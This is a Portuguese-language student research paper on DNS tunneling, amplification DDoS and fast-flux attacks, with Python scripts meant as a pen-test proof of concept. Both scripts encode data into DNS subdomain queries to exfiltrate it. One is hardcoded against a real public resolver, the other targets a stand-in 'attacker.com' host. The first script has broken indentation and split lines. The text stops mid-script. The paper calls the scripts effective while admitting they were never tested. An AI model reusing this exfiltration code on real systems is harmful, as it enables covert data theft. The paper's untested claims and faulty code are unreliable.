DNS ABUSIVO: SCRIPTS DE PEN TEST PARA DNS TUNNELING, DNS AMPLIFICATION DDOS E FAST FLUX DNS

Benjamim Yong Jin Kim (IC) e Rodrigo Cardoso Silva (Orientador)

Apoio: PIVIC Mackenzie

RESUMO

O estudo aborda a segurança do Sistema de Nomes de Domínio (DNS) frente a três tipos específicos de ataques de DNS abusivos: *DNS Tunneling, DNS Amplification DDoS e Fast Flux DNS*. O DNS é uma parte crucial da infraestrutura da Internet, e a exploração de suas vulnerabilidades pode ter consequências severas para a segurança da Internet. A pesquisa teve como objetivo propor uma prova de conceito para um tipo de *hardening - scripts* de *Pen Test* - na linguagem Python para de detecção e mitigação desses ataques em ambiente controlado de teste. Os resultados mostram que os *scripts* desenvolvidos são eficazes porque oferecem maior transparência e adaptabilidade, proporcionando uma ferramenta valiosa para profissionais de segurança cibernética aprimorarem suas práticas e proteções contra ameaças relacionadas a DNS abusivos.

Palavras-chave: Scripts Pen Test (hardening), DNS Tunneling, DNS Amplification e Fast Flux DNS.

ABSTRACT

The study addresses the security of the Domain Name System (DNS) against three specific types of abusive DNS attacks: DNS Tunneling, DNS Amplification DDoS, and Fast Flux DNS. As a critical component of Internet infrastructure, the exploitation of DNS vulnerabilities can have severe implications for Internet security. The research aimed to propose a proof of concept for a type of hardening - Pen Test scripts - written in Python, designed for the detection and mitigation of these attacks in a controlled testing environment. The results demonstrate that the developed scripts are effective, offering enhanced transparency and adaptability, thus providing a valuable tool for cybersecurity professionals to improve their practices and defenses against abusive DNS-related threats.

Keywords: Scripts Pen Test (hardening), DNS Tunneling, DNS Amplification e Fast Flux DNS.

1. INTRODUÇÃO

O Sistema de Nomes de Domínio ou *Domain Name System (DNS)* é essencial para a navegação na Internet, pois ele funciona como uma lista telefônica da Web. Ou seja, o DNS atua como um tradutor de nomes de domínios que converte nomes de domínio - www.exemplo.com, em endereços *Internet Protocol (IP)* - 192.168.1.1, que são utilizados pelos computadores para localizar e acessar servidores na Internet. Imagine ter que memorizar endereços IP para acessar um sítio *web?* Com o uso do DNS, navegar na Internet se tornou mais intuitivo pois permite que as pessoas utilizem nomes amigáveis e fáceis de lembrar para acessar *sites*, em vez de uma série complexa de números de endereços IP.

O DNS é um dos protocolos importantes para a infraestrutura da Internet - assim como os protocolos *Border Gateway Protocol (BGP)* e *Network Time Protocol (NTP)*, pois ele define um conjunto de regras e padrões para a troca de informações entre computadores ou dispositivos sobre a tradução de nomes de domínio para endereços IP e vice-versa.

O DNS opera principalmente sobre o protocolo UDP *(User Datagram Protocol)* na porta 53, mas também pode usar o protocolo TCP *(Transmission Control Protocol)* quando necessário, especialmente para maiores consultas ou transferências de zona DNS. Isto faz com que o protocolo atue no direcionamento de tráfego de maneira balanceada, redirecionando os usuários para servidores mais próximos ou menos congestionados, o que melhora a velocidade e a eficiência de acessos a provedores de acesso, conteúdo e serviços na Internet (LISKA e STOWE, 2016).

A expansão da Internet fez dela um ecossistema aberto, autônomo, confiável e estável. Por isso, a Internet é também chamada de "Rede das Redes". Parte dessa estrutura de Rede funciona porque o DNS foi projetado para ser redundante, com múltiplos servidores armazenando os mesmos dados. Isso garante que, mesmo que um servidor esteja indisponível, os usuários ainda possam acessar *sites* através de outros servidores DNS em qualquer lugar do mundo.

Neste sentido, a Internet acabou sendo associada ao termo globalização em razão do DNS operar com a base de dados de forma distribuída, permitindo-lhe crescer e se adaptar a evolução e expansão da Internet.

Muito mais do que no passado, as pessoas, empresas e governos estão na Internet, tornando-se uma fonte rica de dados. Sem mencionar detalhadamente que os maiores

players no mercado hoje são empresas de tecnologias voltadas para produtos ou serviços de Internet. Agora pense conosco, quanto dinheiro uma organização pode perder por hora sem acesso ao seu serviço de *e-mail* ou a interrupção de outro serviço? E se um sítio *web* funcional estiver inacessível ou os usuários forem redirecionados para servidor malicioso*?*

É notório dizer que a imagem da organização e perdas financeiras serão quase que imediatas. Mas será que um profissional de segurança cibernética sabe que o DNS é um fator importante na segurança da sua rede?

A resposta é não, infelizmente. Por isso, a pesquisa trouxe o assunto para mostrar que dentre todas os vetores de ataques mais comuns para um profissional de segurança - *phishing, malware, exploit* de vulnerabilidades*, DDoS e etc.*, a segurança de DNS se tornou um tema invisível na lista de prioridades dos profissionais de segurança. Portanto, a segurança de DNS deve estar na linha de frente de toda discussão sobre segurança de rede em qualquer organização.

Os ataques à sistemas DNS são mais comuns do que a maioria dos profissionais de segurança percebe no dia a dia. O CERT.br (2024) atualiza o número de servidores DNS maliciosos que fornecem respostas incorretas para nomes de domínio que estão alocados no registro-raiz (.br).

1.1. JUSTIFICATIVA DA PESQUISA

É importante relacionar o tema da pesquisa à crescente importância de sistemas DNS resilientes em uma infraestrutura de rede global. A relevância da pesquisa também está associada à crescente dependência da sociedade em serviços digitais e às consequências catastróficas de ataques bem-sucedidos, que podem comprometer a segurança de informações sensíveis e causar prejuízos financeiros. Além disso, o uso de ferramentas automatizadas para ataques, como *botnets*, intensifica a necessidade de soluções robustas para mitigar os riscos.

O DNS apresenta vulnerabilidades que são frequentemente exploradas por atacantes, como *DNS Amplification DDoS*, *DNS Tunneling* e *Fast Flux DNS*, que são documentados na literatura, como por exemplo, demonstrado no artigo *DNS Amplification & DNS Tunneling Attacks Simulation, Detection and Mitigation Approaches* (SANJAY et al., 2020), que apresenta técnicas de simulação, detecção e mitigação de ataques DNS. Na seção do estado da arte, a pesquisa apresentará outras literaturas a respeito do tema.

1.2. MOTIVAÇÃO DA PESQUISA

A motivação do trabalho está relacionado à busca por soluções hipotéticas para mitigação dos riscos relacionados aos ataques em sistemas DNS. A pesquisa escolheu três tipos de ataques de DNS abusivos - *DNS Tunneling, DNS Amplification DDoS* e *Fast Flux DNS,* que apesar de não serem novos, ainda são difíceis de erradicar, sendo necessário adotar *hardening* mais eficazes.

Os vetores de ameaças desses três ataques exploram o funcionamento legítimo de servidores DNS para realizar atividades maliciosas ou encobrir a origem dos supostos ataques. Em alguns casos, por exemplo, o atacante pratica o DNS abusivo para redirecionar o tráfego da Internet para servidores mal-intencionados, permitindo que os invasores interceptem e roubem dados confidenciais ou executem outras atividades maliciosas.

Além disso, os ataques três tipos de ataques são difíceis de tratar na segurança de DNS devido à complexidade inerente ao protocolo DNS e à natureza distribuída e descentralizada da infraestrutura da Internet.

Por fim, é importante dizer que a pesquisa não aborda erros de configuração em servidores DNS, pois o foco é na exploração de falhas de DNS de origem externa conforme exposto acima.

1.3. OBJETIVOS DA PESQUISA

O objetivo geral da pesquisa é propor uma prova de conceito para um tipo de *hardening* para auxiliar na mitigação dos riscos em ataques à servidores DNS. Neste sentido, a pesquisa se propôs a desenvolver *scripts* em Python para simular ataques aos três tipos de DNS abusivos.

Já o objetivo específico é abordar ferramentas para detecção de vulnerabilidades - *scripts*, demonstrar a eficácia dos *scripts* em ambiente controlado e sugerir soluções mitigadoras baseadas nos resultados que serão obtidos. Desta forma, o trabalho da pesquisa se restringe a seguinte pergunta:

- Os *scripts* personalizados de *Pen Test* podem atuar como um tipo de *hardening e* auxiliar na simulação, detecção e mitigação de ataques DNS abusivos em ambientes controlados?

2. REFERENCIAL TEÓRICO

O tema da pesquisa é bastante específico e técnico. Portanto, o trabalho apresenta uma estrutura inicial, aderente e coerente com a proposta.

Desde meados dos anos 2000, o Centro de Resposta a Incidentes de Segurança dos Estados Unidos da América traz o alerta de ameaças em DNS abusivo desde 2006, com ataques *DDoS* utilizando solicitações DNS recursivas falsificadas, prejudicando, assim, o tráfego DNS pela Internet (US-CERT, 2006).

A ICANN também se posicionou em relação à segurança em servidores DNS. O especialista da ICANN Dave Piscitello afirma que:

> Os ataques DDoS geralmente usam endereços IP que não são alocados para o assinante ou endereços IP de espaço reservado ou privado para dificultar a identificação de fontes de tráfego de ataque. Isso é chamado de falsificação de endereço IP. Provedores de serviços de acesso ou corporações devem aplicar filtragem de entrada de rede para evitar falsificação. Reprimir o tráfego de ataque perto de suas origens tem o benefício adicional de evitar que os ISPs encaminhem tráfego malicioso ou criminoso. Todos se beneficiam quando os operadores em geral filtram endereços de origem falsificados, exceto os invasores (ICANN, 2013).

Infelizmente, a preocupação da ICANN em 2013 ainda permanece atual no ano de 2023. Dez anos depois, a ICANN continua a afirmar a definição de DNS abusivo publicado no seu *site "é qualquer atividade maliciosa com o objetivo de interromper a infraestrutura do DNS ou fazer com que o DNS opere de maneira não intencional. Atividades abusivas incluem corromper os dados da zona DNS, obter controle administrativo de um servidor de nomes e inundar o DNS com milhares de mensagens para degradar os serviços de resolução de nomes (ICANN, 2023)".*

Isto demonstra que o tema é de suma importância para a continuidade eficaz do funcionamento da Internet no Brasil e no mundo.

2.1. REVISÃO DA LITERATURA

O artigo *Revisiting Open DNS Resolver Vulnerabilities to Reflection-Based DDoS Threats* (LIU et al., 2024), revisita as vulnerabilidades associadas a servidores DNS abertos que permitem ataques de reflexão baseados em DDoS. Avalia a eficácia de contramedidas disponíveis e sugere novas práticas de segurança para redes que utilizam *resolvers* DNS vulneráveis.

O artigo *Hybrid Detection and Tracking of Fast-Flux Botnet on Domain Name System Traffic* (YAZDANI et al., 2024), propõe uma abordagem híbrida para detectar e rastrear *botnets* do tipo *Fast-Flux* em tráfego DNS. Ele combina técnicas baseadas em assinaturas com aprendizado de máquina para identificar comportamentos anômalos e prever movimentos de *botnets*.

O artigo *Behavioral Analysis and Visualization of Fast-Flux DNS* (JONKER et al., 2022), faz a análise do comportamental e a visualização de redes *Fast-Flux DNS*, ao examinar como fluxos de tráfego maliciosos se comportam em redes comprometidas. Ele utiliza técnicas de visualização para demonstrar as atividades maliciosas de *botnets* e propõe novas abordagens para a identificação dos padrões.

O artigo *A Machine Learning Based Approach to Detect Malicious Fast Flux Networks* (MATHEWS et al., 2022), utiliza aprendizado de máquina e desenvolve um modelo para detectar redes *Fast-Flux* maliciosas. Detalha a aplicação de algoritmos de classificação para distinguir fluxos normais de fluxos maliciosos, demonstrando um alto grau de precisão em experimentos.

O artigo *DNS Amplification & DNS Tunneling Attacks Simulation, Detection and Mitigation Approaches* (MANVI et al., 2020), apresenta simulações e metodologias para detectar e mitigar ataques de amplificação e tunelamento no DNS. Explora técnicas baseadas em monitoramento de tráfego e aprendizado de máquina para identificar padrões maliciosos, além de propor estratégias de mitigação para minimizar o impacto em redes de comunicação.

O artigo *A Survey on DNS Tunneling: Taxonomy, Methods, and Mitigation* **(**AL-HAIDARI et al., 2019) oferece uma visão abrangente sobre a técnica de *DNS Tunneling*, que é frequentemente utilizada por atacantes para burlar as medidas de segurança e exfiltrar dados de forma furtiva. O *DNS Tunneling* envolve o encapsulamento de dados não relacionados à resolução de nomes dentro de consultas e respostas DNS, aproveitando a infraestrutura do DNS para transmitir informações entre o cliente e o servidor de controle. O estudo revisa as diferentes formas de *Tunneling* DNS, categorizando-as com base em suas características e técnicas utilizadas, o que proporciona um entendimento claro sobre as variações e complexidades dessa ameaça. Os autores propõem uma taxonomia detalhada das técnicas de *DNS Tunneling*, classificando-as em métodos baseados em diferentes aspectos, como o tipo de dado encapsulado, o tipo de codificação e o modo de operação. Além disso, o artigo aborda os métodos mais comuns de implementação de *DNS Tunneling*, destacando como essas técnicas podem ser utilizadas para comunicação bidirecional entre o atacante e o sistema comprometido, muitas vezes de forma que passa despercebida por

sistemas tradicionais de segurança. A análise fornecida no artigo é crucial para profissionais de segurança que buscam compreender como os métodos de *DNS Tunneling* evoluíram e quais são as vulnerabilidades exploradas por essas técnicas. Além de mapear as técnicas e métodos, Al-Haidari e seus colegas discutem as estratégias de mitigação para combater o *DNS Tunneling*. O artigo revisa as abordagens mais eficazes para detectar e bloquear essa forma de ataque, incluindo o uso de análise de tráfego, detecção baseada em anomalias e inspeção profunda de pacotes. Os autores ressaltam a importância de combinar múltiplas técnicas de detecção para aumentar a eficácia das medidas de defesa, considerando que o *DNS Tunneling* pode ser altamente furtivo e difícil de detectar com métodos isolados. A revisão fornece uma base sólida para a compreensão e o desenvolvimento de novas soluções de segurança voltadas para a detecção e mitigação de ataques que utilizam o *DNS Tunneling*.

O artigo *Detecting Malware Domains at the Upper DNS Hierarchy* (ANTONAKAKIS et al., 2010) aborda uma abordagem inovadora para a detecção de domínios maliciosos através da análise da hierarquia superior do DNS. Tradicionalmente, a detecção de *malware* e domínios maliciosos tem o foco em métodos baseados em assinaturas ou em listas negras que são facilmente contornáveis por atacantes com técnicas de evasão. Em contraste, os autores propõem a utilização da observação das interações no nível do DNS para identificar comportamentos anômalos que indicam a presença de domínios controlados por agentes maliciosos. Essa abordagem permite detectar novos domínios maliciosos que ainda não foram previamente catalogados. A metodologia apresentada no artigo envolve o monitoramento e a análise de consultas DNS realizadas por servidores DNS recursivos de alto nível, ou seja, aqueles que são responsáveis por resolver nomes de domínio para todos os usuários. Através da coleta e análise de dados de tráfego DNS, os autores exploram características específicas dos domínios maliciosos, como padrões de consulta, frequência e distribuição geográfica, para diferenciá-los dos domínios benignos. Eles aplicam técnicas de aprendizado de máquina para classificar os domínios com base nessas características, o que permite uma detecção mais eficaz e escalável em comparação com métodos tradicionais. Os resultados obtidos por Antonakakis e seus colegas mostram que a detecção de domínios maliciosos na hierarquia superior do DNS é uma abordagem viável e eficaz. A técnica proposta não apenas melhora a detecção de domínios maliciosos previamente desconhecidos, mas também reduz significativamente a taxa de falsos positivos, que é um desafio comum em sistemas de detecção de ameaças. O trabalho dos autores é um marco no campo da segurança cibernética, pois oferece uma nova perspectiva para a proteção contra *malware*, demonstrando que a análise em nível de infraestrutura pode ser uma ferramenta poderosa para combater ameaças cibernéticas emergentes.

O artigo *Predicting the Success of Address Space Reputation Systems (*AGER et al., 2010) explora a eficácia dos sistemas de reputação de espaços de endereços IP como uma ferramenta para identificar e mitigar atividades maliciosas na Internet. Esses sistemas avaliam a reputação de blocos de endereços IP com base em seu histórico de comportamento, classificando-os como confiáveis ou suspeitos. O estudo realizado pelos autores analisa a viabilidade desses sistemas na detecção e prevenção de atividades indesejadas, como *spam* e ataques cibernéticos, avaliando se a reputação dos endereços IP pode ser um indicador de comportamento confiável no futuro. Os autores utilizam uma abordagem empírica para avaliar a eficácia dos sistemas de reputação de endereços IP, analisando grandes volumes de dados de tráfego da Internet e incidentes de segurança para identificar padrões de comportamento associados a endereços IP maliciosos. Através dessa análise, eles investigam até que ponto a reputação de um bloco de endereços IP pode prever com precisão comportamentos futuros e, também, a persistência dessas reputações ao longo do tempo. A pesquisa destaca a importância de considerar a dinâmica e a evolução dos padrões de uso do IP, mostrando que a reputação de um espaço de endereços pode mudar rapidamente, afetando, assim, a eficácia de sistemas de reputação que não são atualizados de forma contínua. O estudo também discute as limitações e desafios dos sistemas de reputação de endereços IP, incluindo a questão da temporalidade e a dificuldade de distinguir entre diferentes tipos de comportamento malicioso que podem originar de um mesmo bloco de IP. Eles sugerem que, para que esses sistemas sejam realmente eficazes, é necessário um modelo mais sofisticado que leve em conta não apenas a reputação histórica, mas também fatores contextuais e mudanças na estrutura da rede. O trabalho conclui que, embora os sistemas de reputação de endereços IP tenham potencial, sua implementação e manutenção eficaz exigem uma análise contínua e adaptativa para lidar com a natureza dinâmica da atividade maliciosa na Internet.

O artigo *Monitoring a Fast Flux Botnet Using Recursive and Passive DNS: A Case Study* (Kambourakis et al., 2008), explora métodos de monitoramento de *botnets Fast-Flux* utilizando dados de DNS recursivo e passivo. Ele destaca o impacto do monitoramento contínuo na identificação e mitigação de ameaças associadas nesse tipo de redes.

O artigo *Hop-count Filtering: An Effective Defense Against Spoofed DDoS Traffic* (JIN, WANG e SHIN, 2003) propõe uma técnica inovadora para mitigar ataques distribuídos de negação de serviço ou *Distributed Denial of Service (DDoS)* que utilizam falsificação de endereços IP. Os ataques DDoS com endereços IP falsificados são particularmente difíceis de combater, pois os pacotes maliciosos parecem vir de uma variedade de fontes legítimas. Os autores introduzem o conceito de filtragem baseada na contagem de saltos *(hop-count)*, que explora a discrepância entre o número real de saltos que um pacote percorre e o número de saltos esperado com base no endereço IP de origem declarado. Essa técnica

visa identificar e descartar pacotes com endereços IP falsificados antes que eles possam sobrecarregar os recursos da rede atacada. A metodologia descrita no artigo envolve a criação de uma tabela de mapeamento de endereços IP para contagem de saltos esperada, construída a partir de dados reais de tráfego. Durante um ataque DDoS, o sistema compara a contagem de saltos de cada pacote recebido com o valor esperado para o endereço IP de origem declarado. Pacotes que apresentam uma discrepância significativa são considerados suspeitos de falsificação e são descartados. Essa abordagem permite uma detecção eficiente de tráfego malicioso sem a necessidade de alterar a infraestrutura existente ou de depender de listas negras que podem ser facilmente contornadas. Os resultados experimentais apresentados por Jin, Wang e Shin mostram que o filtro de contagem de saltos é altamente eficaz na detecção e bloqueio de tráfego DDoS com endereços IP falsificados, com uma baixa taxa de falsos positivos. A técnica é especialmente útil em redes onde a falsificação de IP é comum, fornecendo uma camada adicional de defesa que complementa outras medidas de segurança. Além disso, o artigo discute as limitações e desafios da implementação da filtragem de contagem de saltos, como a necessidade de atualizar dinamicamente a tabela de mapeamento para refletir mudanças na topologia da rede. Apesar dessas considerações, o estudo conclui que a filtragem por contagem de saltos é uma ferramenta valiosa para melhorar a resiliência contra ataques DDoS em redes.

O artigo *Development of the Domain Name System* de (MOCKAPETRIS e DUNLAP, 1988) é um marco na história da Internet, documentando a concepção e evolução do Sistema de Nomes de Domínio (DNS). O DNS foi desenvolvido para resolver o problema crescente de gerenciamento e localização de computadores na rede, que na época utilizava um sistema centralizado e manual de mapeamento de nomes para endereços IP. Com o rápido crescimento da Internet, tornou-se necessário um sistema mais escalável e automatizado. O DNS foi projetado para ser um sistema hierárquico e distribuído, permitindo a delegação de responsabilidades e a expansão contínua da rede sem comprometer a eficiência e a estabilidade. Os autores discutem os principais desafios enfrentados durante o desenvolvimento do DNS, incluindo a necessidade de compatibilidade com sistemas existentes, a distribuição de autoridade sobre diferentes partes da hierarquia de nomes, e a criação de mecanismos para garantir a confiabilidade e a consistência dos dados em um ambiente distribuído. Eles explicam como o DNS foi estruturado em domínios de nível superior (ccTLD), subdomínios (gcTLD) e registros individuais, permitindo uma resolução de nomes rápida e eficiente. Além disso, o artigo aborda a importância do protocolo DNS, que define as regras para a comunicação entre os servidores DNS e os clientes que realizam consultas, garantindo que o sistema funcione de forma coerente e inter operável em diferentes plataformas e redes. Mockapetris e Dunlap também exploram as aplicações futuras do DNS e suas implicações para a expansão da Internet. Eles previram corretamente que o DNS não seria apenas um componente crítico para a navegação na Web, mas

também uma infraestrutura essencial para outras funcionalidades da Internet, como *e-mail* e transferências de arquivos. O artigo conclui destacando a flexibilidade do DNS, que foi projetado para acomodar o crescimento e a mudança tecnológica ao longo do tempo. A visão dos autores sobre o DNS como uma peça fundamental da infraestrutura da Internet foi confirmada pelas décadas de uso subsequente, onde o DNS continua a ser uma parte essencial da operação diária da Internet no mundo.

Apesar da delimitação necessária no estado da arte, a literatura escolhida demonstra como o conhecimento existente contribuiu para o desenvolvimento dos *scripts* de *Pen Test*.

3. MÉTODO APLICADO

A metodologia adotada busca responder a pergunta da pesquisa (problema) e explicar a estratégia adotada para alcançar os objetivos específicos. Neste caso, a pesquisa adota a abordagem experimental com a elaboração de *scripts* na linguagem *Python* para simular os três tipos de ataques DNS abusivos, consistindo em:

- Desenvolver *scripts* para *DNS Tunneling, Amplification* e *Fast Flux* com bibliotecas *dnspython* e *scapy.*
- Testar *scripts* em ambiente controlado para evitar danos a infraestruturas reais.
- Avaliar a eficácia dos *scripts* na simulação dos ataques e análise de *logs* para identificar comportamentos maliciosos.
- Documentar para permitir a reprodução e adaptação dos *scripts* por outros pesquisadores e profissionais de segurança cibernética.

Optou-se por *scripts* em vez de códigos-fonte, pois são mais rápidos de escrever, testar, e modificar diante da possibilidade de exploração dinâmica. Eles também são ideais para automação de tarefas repetitivas, execução de testes rápidos e ajustes em tempo real durante um *Pen test* (JARGAS, 2008).

3.1. POR QUE DNSPYTHON E SCAPY?

Os *scripts* foram baseados em duas bibliotecas, *dnspython* e *scapy*, sendo escolhidas por suas capacidades específicas no processamento de DNS e na manipulação de pacotes de rede. Ou seja, dois fatores importantes para a integração e fluxo do *Pen Test.*

A biblioteca *dnspython* se destaca pela *s*implicidade e suporte robusto às operações DNS permite manipulação granular e análise detalhada para realizar consultas DNS,

registrar DNS e análise de respostas. A validação de domínios é feita pela API que oferece suporte para as principais operações DNS, o que a torna ideal para simular e detectar comportamentos maliciosos relacionados a consultas DNS.

Já a biblioteca *scapy* é mais versátil e permite flexibilidade para capturar, criar e manipular pacotes de rede em baixo nível, sendo crucial para simular cenários personalizados de ataque, bem como implementar a detecção de tráfego anômalo.

3.2. INTEGRAÇÃO ENTRE DNSPYTHON E SCAPY

Em tese, a integração e o fluxo entre as duas bibliotecas podem ser observados nos ambientes de simulação, detecção e mitigação de riscos.

No ambiente de simulação, com a biblioteca *scapy* os pacotes maliciosos foram gerados e enviados para servidores DNS vulneráveis, enquanto a biblioteca *dnspython* forneceu um ambiente para consultas DNS legítimas. O objetivo é prover um ambiente controlado que permite observar os efeitos de ataques em diferentes condições.

No ambiente de detecção, o monitoramento do tráfego DNS foi realizado com a biblioteca *scapy*, que capturou pacotes em tempo real. Paralelamente, a biblioteca *dnspython* foi usada para resolver nomes de domínio e verificar a autenticidade das respostas recebidas.

No ambiente de mitigação, os dados são capturados pelos os *scripts* que atribuíram regras para bloquear ou redirecionar o tráfego suspeito. Isto é feito de duas maneiras: a) identificação de padrões de consultas repetitivas ou pacotes com IP forjados; e b) bloqueio de servidores DNS abertos não confiáveis.

4. RESULTADO E DISCUSSÃO

Recapitulando a pergunta da pesquisa: *os scripts personalizados de Pen Test podem atuar como um tipo de hardening e auxiliar na simulação, detecção e mitigação de ataques DNS abusivos em ambientes controlados?* A resposta é sim.

A prova de conceito para este tipo de *hardening* demonstra que os *scripts* desenvolvidos oferecem maior flexibilidade e portabilidade em comparação a binários executáveis por três razões:

- ✦ Eficiência na simulação: os *scripts* podem reproduzir as técnicas de ataque, fornecendo um ambiente realista para o treinamento dos profissionais de segurança.

✦ Adaptação e personalização: os *scripts* podem ser modificados rapidamente para atender às demandas específicas de diferentes cenários por serem escritos em *Python*.

✦ Vantagens sobre binários executáveis: os *scripts* oferecem maior transparência, permitindo que sejam analisados e ajustados sem compilação adicional.

Logo, o *hardening* proposto tem potencial vantagem em relação a ferramentas existentes, ou seja, maior transparência e adaptabilidade.

Por fim, é importante ressaltar que dois dos objetivos específicos não foram realizados, testar scripts em ambiente controlado para evitar danos a infraestruturas reais e avaliar a eficácia dos *scripts* na simulação dos ataques e análise de *logs* para identificar comportamentos maliciosos, não sendo possível obter registros de *log* para validar as funcionalidades. Não obstante, a pesquisa fornece substrato suficiente para a sua continuação e realização dos objetivos que ainda não foram contemplados.

4.1. PEN TEST PARA DNS TUNNELING

4.1.1. SCRIPT-01-TUNNEL

A pesquisa apresenta dois *scripts* para a execução de *Pen test* para a verificação de vulnerabilidades no servidor DNS que podem ser exploradas por atacantes que utilizam técnicas de *DNS Tunneling.*

Os dois *scripts* possuem diferenças técnicas de uso para realização do ataque. O SCRIPT-01-TUNNEL é mais complexo, pois envolve a criação manual de pacotes DNS e o manuseio de comunicação de rede em um nível mais baixo. Enquanto o SCRIPT-02-TUNNEL é menos complexo, pois delega a construção e envio de pacotes DNS à biblioteca *dnspython*, simplificando a lógica do *script*.

Em linhas gerais, o SCRIPT-01-TUNNEL é mais técnico e detalhado na construção e envio manual de pacotes DNS, usando a biblioteca *socket* e lidando com a comunicação diretamente. Já o SCRIPT-02-TUNNEL é mais simplificado e usa a biblioteca *dnspython* para resolver consultas DNS de maneira mais direta e menos propensa a erros de implementação na construção dos pacotes.

Ambos os scripts realizam o mesmo objetivo geral de simulação da técnica de ataque *DNS Tunneling*, mas com abordagens diferentes em termos de construção de pacotes DNS e manipulação de consultas e respostas.

#SCRIPT-01-TUNNEL

```
import socket
import base64
import time

# Configuração do servidor DNS para Pen Test
# IP do servidor DNS a ser testado
DNS_SERVER = "8.8.8.8"
PORT = 53
# Tempo de espera para resposta do servidor
TIMEOUT = 2

# Função para enviar consulta DNS
def send_dns_query(query, server, port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(TIMEOUT)
        sock.sendto(query, (server, port))
        data, _ = sock.recvfrom(512)
        sock.close()
        return data
    except socket.timeout:
        return None

# Função para criar um pacote DNS simples
def create_dns_packet(domain):
    # Construir pacote DNS (consulta simples para TXT ou A record)
    # Detalhes do pacote simplificado para demonstração
    transaction_id = b'\xaa\xbb'  # ID aleatório para a transação
    flags = b'\x01\x00'  # Flags para consulta padrão
    questions = b'\x00\x01'  # 1 pergunta
    answer_rrs = b'\x00\x00'  # Sem respostas
    authority_rrs = b'\x00\x00'  # Sem autoridade
    additional_rrs = b'\x00\x00'  # Sem adicional
    # Construir nome de domínio em formato DNS
    domain_parts = domain.split('.')
    query_name = b''.join([bytes([len(part)]) + part.encode('utf-8') for
    part in domain_parts]) + b'\x00'
    # Tipo TXT (0x0010)
    query_type = b'\x00\x10'
    # Classe IN (internet)
    query_class = b'\x00\x01'
    return transaction_id + flags + questions + answer_rrs + authority_rrs+
    additional_rrs + query_name + query_type + query_class

# Função para realizar teste de penetração de DNS Tunneling
def dns_tunneling_pen_test(server, port, domain):
    # Criar carga útil codificada em base64 para simular dados exfiltrados
    data_to_exfiltrate = "TestDataForDNSExfiltration"
    encoded_data =
    base64.b64encode(data_to_exfiltrate.encode('utf-8')).decode('utf-8')
# Simular tunneling para dividir carga útil e enviar consultas DNS
# Dividir a carga útil em partes de 50 caracteres
    for i in range(0, len(encoded_data), 50):
       subdomain = encoded_data[i:i+50] + "." + domain
        dns_query = create_dns_packet(subdomain)

        response = send_dns_query(dns_query, server, port)
        if response:
            print(f"[+] Recebida resposta do servidor para {subdomain}")
        else:
            print(f"[-] Sem resposta do servidor para {subdomain}")
# Aguardar um pouco antes de enviar a próxima consulta
time.sleep(1)
# Executar teste de penetração
dns_tunneling_pen_test(DNS_SERVER, PORT, "example.com")
```

Fonte: elaborado pelo autor

Agora, será explicado cada parte do *script* desenvolvido acima.

- *socket* é usado para criar conexões de rede e enviar ou receber dados.
- *base64* é usado para codificar e decodificar dados em formato Base64, facilitando a transmissão de dados binários através de texto.
- *time* é usado para pausar a execução do *script* entre as consultas.
- *DNS_SERVER* define o servidor DNS que será testado, sendo que aqui está configurado para o DNS público da empresa *Google*.
- *PORT* é a porta padrão para consultas DNS é 53.
- *TIMEOUT* define o tempo máximo em segundos que o *script* espera por uma resposta do servidor antes de considerar a consulta como falha.
- *send_dns_query* cria um *socket* UDP e depois envia uma consulta DNS para o servidor especificado. Aguarda a resposta e a retorna. Caso a resposta não chegar em tempo, retorna *None*.
- *create_dns_packet* cria um pacote DNS para consulta de tipo TXT para um nome de domínio específico. Para este teste, nós utilizamos registros TXT que, na verdade, são bem comuns em ataques de *DNS Tunneling*
- *transaction_id* é um identificador para a transação DNS.
- *flags* são configurações para a consulta padrão. Observação: *transaction_id, flags* e outros campos são fixos e simplificados para a demonstração.
- *questions, answer_rrs, authority_rrs, additional_rrs* são contadores para o número de perguntas, respostas, registros de autoridade e adicionais.
- *query_name* é o nome de domínio convertido para a forma DNS. Observação: É codificado em um formato que pode não ser completamente compatível com todos os servidores DNS ou registros DNS reais.
- *query_type* é o tipo da consulta (TXT, no caso).
- *query_class* é a classe da consulta (IN para Internet).
- *dns_tunneling_pen_test* simula um ataque de *DNS tunneling* dividindo dados codificados em Base64 em partes menores e enviando-as como subdomínios em consultas DNS.
- *data_to_exfiltrate* os dados que serão exfiltrados através das consultas DNS.
- *encoded_data* os dados codificados em *Base64* para permitir a transmissão via DNS.
- *subdomain* cria subdomínios a partir dos dados codificados.
- *send_dns_query* envia cada consulta DNS e espera por uma resposta.
- *time.sleep(1)* aguarda um segundo entre as consultas para evitar sobrecarregar o servidor DNS.

- *dns_tunneling_pen_test* é chamado com o servidor DNS, porta e domínio alvo do atacante. Aqui, o domínio *example.com* é usado apenas como exemplo para modelo.

O *script* elaborado acima é um tipo de *hardening* como prova de conceito, e não cobre todas as nuances do *DNS Tunneling* ou outras questões de segurança necessárias na organização. Todavia, o *script* é bastante útil para demonstrar como o *DNS tunneling* pode ser realizado, adaptado e expandido para testes mais avançados e específicos em cenários reais.

4.1.2. SCRIPT-02-TUNNEL

O *script* em questão é uma implementação simples de um ataque de *DNS Tunneling* usando a biblioteca *dnspython*. O objetivo também é demonstrar como exfiltrar dados através de consultas DNS a um servidor DNS abusivo ou malicioso (controlado). Neste modelo, um atacante pode usar *DNS Tunneling* para enviar dados codificados para um servidor DNS controlado que receberá essas consultas e poderá decodificar os dados recebidos para cometer crimes.

#SCRIPT-02-TUNNEL

```
import dns.resolver
import base64
import time

# Configurações do servidor DNS abusivo (ou malicioso)

# Nome de domínio do servidor DNS malicioso
MALICIOUS_DNS_SERVER = "attacker.com"

# Dados a serem exfiltrados via DNS Tunneling
# data_to_exfiltrate = "SensitiveInformationToExfiltrate"

# Função para simular o DNS Tunneling
def simulate_dns_tunneling(data, dns_server):
    # Codificar os dados em base64 para transmissão via DNS
    encoded_data = base64.b64encode(data.encode('utf-8')).decode('utf-8')
    # Enviar dados divididos em pacotes menores como subdomínios
    for i in range(0, len(encoded_data), 50):
        subdomain = encoded_data[i:i+50] + "." + dns_server
        # Realizar consulta DNS
        try:
            answers = dns.resolver.resolve(subdomain, 'A')
            for rdata in answers:
                print(f"[+] Resposta recebida para {subdomain}: {rdata}")
        except dns.resolver.NXDOMAIN:
            print(f"[-] Sem resposta para {subdomain}")
        except dns.resolver.Timeout:
            print(f"[-] Timeout ao consultar {subdomain}")
        except Exception as e:
            print(f"Erro ao consultar {subdomain}: {str(e)}")
        # Aguardar um pouco antes de enviar a próxima consulta
        time.sleep(1)
